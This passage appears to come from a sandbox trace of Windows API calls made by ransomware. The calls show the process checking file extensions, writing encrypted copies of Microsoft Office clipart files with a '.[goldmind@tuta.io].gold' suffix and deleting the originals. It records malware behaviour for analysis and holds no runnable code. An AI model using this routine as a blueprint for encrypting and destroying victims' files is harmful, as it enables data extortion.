Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0096.192] lstrlenW (lpString=".dbf") returned 4 [0096.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0096.192] lstrlenW (lpString=".1cd") returned 4 [0096.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0096.192] lstrlenW (lpString=".jpg") returned 4 [0096.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.192] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.192] lstrlenW (lpString="FD01193_.WMF") returned 12 [0096.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0096.694] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=1160) returned 1 [0096.694] CloseHandle (hObject=0x394) returned 1 [0096.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x20 [0096.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0096.695] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.695] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0096.696] GetLastError () returned 0x0 [0096.696] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x488, lpOverlapped=0x0) returned 1 [0096.698] WriteFile (in: hFile=0x38c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x490, lpOverlapped=0x0) returned 1 [0096.699] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0096.699] WriteFile (in: hFile=0x38c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.699] SetEndOfFile (hFile=0x38c) returned 1 [0096.699] CloseHandle (hObject=0x38c) returned 1 [0096.699] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.700] SetEndOfFile (hFile=0x394) returned 1 [0096.701] CloseHandle (hObject=0x394) returned 1 [0096.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0096.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0096.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0096.702] lstrlenW (lpString=".doc") returned 4 [0096.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.702] lstrlenW (lpString=".docx") returned 5 [0096.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.703] lstrlenW (lpString=".pdf") returned 4 [0096.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.703] lstrlenW (lpString=".xls") returned 4 [0096.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.703] lstrlenW (lpString=".xlsx") returned 5 [0096.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.703] lstrlenW (lpString=".ppt") returned 4 [0096.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0096.703] lstrlenW (lpString=".zip") returned 4 [0096.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.703] lstrlenW (lpString=".rar") returned 4 [0096.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.703] lstrlenW (lpString=".bz2") returned 4 [0096.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.703] lstrlenW (lpString=".7z") returned 3 [0096.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0096.703] lstrlenW (lpString=".dbf") returned 4 [0096.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0096.703] lstrlenW (lpString=".1cd") returned 4 [0096.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0096.703] lstrlenW (lpString=".jpg") returned 4 [0096.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0096.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0096.703] lstrlenW (lpString=".doc") returned 4 [0096.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.703] lstrlenW (lpString=".docx") returned 5 [0096.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.703] lstrlenW (lpString=".pdf") returned 4 [0096.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.703] lstrlenW (lpString=".xls") returned 4 [0096.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.703] lstrlenW (lpString=".xlsx") returned 5 [0096.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.703] lstrlenW (lpString=".ppt") returned 4 [0096.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0096.703] lstrlenW (lpString=".zip") returned 4 [0096.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.703] lstrlenW (lpString=".rar") returned 4 [0096.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.703] lstrlenW (lpString=".bz2") returned 4 [0096.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.703] lstrlenW (lpString=".7z") returned 3 [0096.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0096.703] lstrlenW (lpString=".dbf") returned 4 [0096.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0096.704] lstrlenW (lpString=".1cd") returned 4 [0096.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0096.704] lstrlenW (lpString=".jpg") returned 4 [0096.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.704] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.704] lstrlenW (lpString="FD02115_.WMF") returned 12 [0096.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0096.705] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=4660) returned 1 [0096.705] CloseHandle (hObject=0x394) returned 1 [0096.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x20 [0096.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0096.705] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.705] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0096.706] GetLastError () returned 0x0 [0096.706] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1234, lpOverlapped=0x0) returned 1 [0096.707] WriteFile (in: hFile=0x38c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1240, lpOverlapped=0x0) returned 1 [0096.708] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0096.708] WriteFile (in: hFile=0x38c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.708] SetEndOfFile (hFile=0x38c) returned 1 [0096.708] CloseHandle (hObject=0x38c) returned 1 [0096.708] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.708] SetEndOfFile (hFile=0x394) returned 1 [0096.710] CloseHandle (hObject=0x394) returned 1 [0096.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0096.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0096.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0096.711] lstrlenW (lpString=".doc") returned 4 [0096.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.711] lstrlenW (lpString=".docx") returned 5 [0096.711] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.711] lstrlenW (lpString=".pdf") returned 4 [0096.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.711] lstrlenW (lpString=".xls") returned 4 [0096.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.711] lstrlenW (lpString=".xlsx") returned 5 [0096.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.711] lstrlenW (lpString=".ppt") returned 4 [0096.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0096.711] lstrlenW (lpString=".zip") returned 4 [0096.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.711] lstrlenW (lpString=".rar") returned 4 [0096.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.711] lstrlenW (lpString=".bz2") returned 4 [0096.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.711] lstrlenW (lpString=".7z") returned 3 [0096.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0096.711] lstrlenW (lpString=".dbf") returned 4 [0096.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0096.711] lstrlenW (lpString=".1cd") returned 4 [0096.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0096.711] lstrlenW (lpString=".jpg") returned 4 [0096.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0096.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0096.711] lstrlenW (lpString=".doc") returned 4 [0096.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.711] lstrlenW (lpString=".docx") returned 5 [0096.711] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.711] lstrlenW (lpString=".pdf") returned 4 [0096.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.711] lstrlenW (lpString=".xls") returned 4 [0096.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.711] lstrlenW (lpString=".xlsx") returned 5 [0096.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.711] lstrlenW (lpString=".ppt") returned 4 [0096.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0096.712] lstrlenW (lpString=".zip") returned 4 [0096.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.712] lstrlenW (lpString=".rar") returned 4 [0096.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.712] lstrlenW (lpString=".bz2") returned 4 [0096.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.712] lstrlenW (lpString=".7z") returned 3 [0096.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0096.712] lstrlenW (lpString=".dbf") returned 4 [0096.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0096.712] lstrlenW (lpString=".1cd") returned 4 [0096.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0096.712] lstrlenW (lpString=".jpg") returned 4 [0096.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.712] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.712] lstrlenW (lpString="FD02116_.WMF") returned 12 [0096.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0096.713] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=3988) returned 1 [0096.713] CloseHandle (hObject=0x394) returned 1 [0096.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x20 [0096.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0096.713] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.713] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0096.714] GetLastError () returned 0x0 [0096.714] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xf94, lpOverlapped=0x0) returned 1 [0096.715] WriteFile (in: hFile=0x38c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0096.716] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0096.716] WriteFile (in: hFile=0x38c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.716] SetEndOfFile (hFile=0x38c) returned 1 [0096.716] CloseHandle (hObject=0x38c) returned 1 [0096.716] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.716] SetEndOfFile (hFile=0x394) returned 1 [0096.717] CloseHandle (hObject=0x394) returned 1 [0096.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0096.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0096.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0096.718] lstrlenW (lpString=".doc") returned 4 [0096.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.718] lstrlenW (lpString=".docx") returned 5 [0096.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.718] lstrlenW (lpString=".pdf") returned 4 [0096.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.718] lstrlenW (lpString=".xls") returned 4 [0096.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.718] lstrlenW (lpString=".xlsx") returned 5 [0096.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.719] lstrlenW (lpString=".ppt") returned 4 [0096.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0096.719] lstrlenW (lpString=".zip") returned 4 [0096.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.719] lstrlenW (lpString=".rar") returned 4 [0096.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.719] lstrlenW (lpString=".bz2") returned 4 [0096.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.719] lstrlenW (lpString=".7z") returned 3 [0096.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0096.719] lstrlenW (lpString=".dbf") returned 4 [0096.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0096.719] lstrlenW (lpString=".1cd") returned 4 [0096.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0096.719] lstrlenW (lpString=".jpg") returned 4 [0096.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0096.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0096.719] lstrlenW (lpString=".doc") returned 4 [0096.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.719] lstrlenW (lpString=".docx") returned 5 [0096.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.719] lstrlenW (lpString=".pdf") returned 4 [0096.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.719] lstrlenW (lpString=".xls") returned 4 [0096.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.719] lstrlenW (lpString=".xlsx") returned 5 [0096.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.719] lstrlenW (lpString=".ppt") returned 4 [0096.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0096.719] lstrlenW (lpString=".zip") returned 4 [0096.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.719] lstrlenW (lpString=".rar") returned 4 [0096.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.719] lstrlenW (lpString=".bz2") returned 4 [0096.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.719] lstrlenW (lpString=".7z") returned 3 [0096.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0096.720] lstrlenW (lpString=".dbf") returned 4 [0096.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0096.720] lstrlenW (lpString=".1cd") returned 4 [0096.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0096.720] lstrlenW (lpString=".jpg") returned 4 [0096.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.720] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.720] lstrlenW (lpString="FD02141_.WMF") returned 12 [0096.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 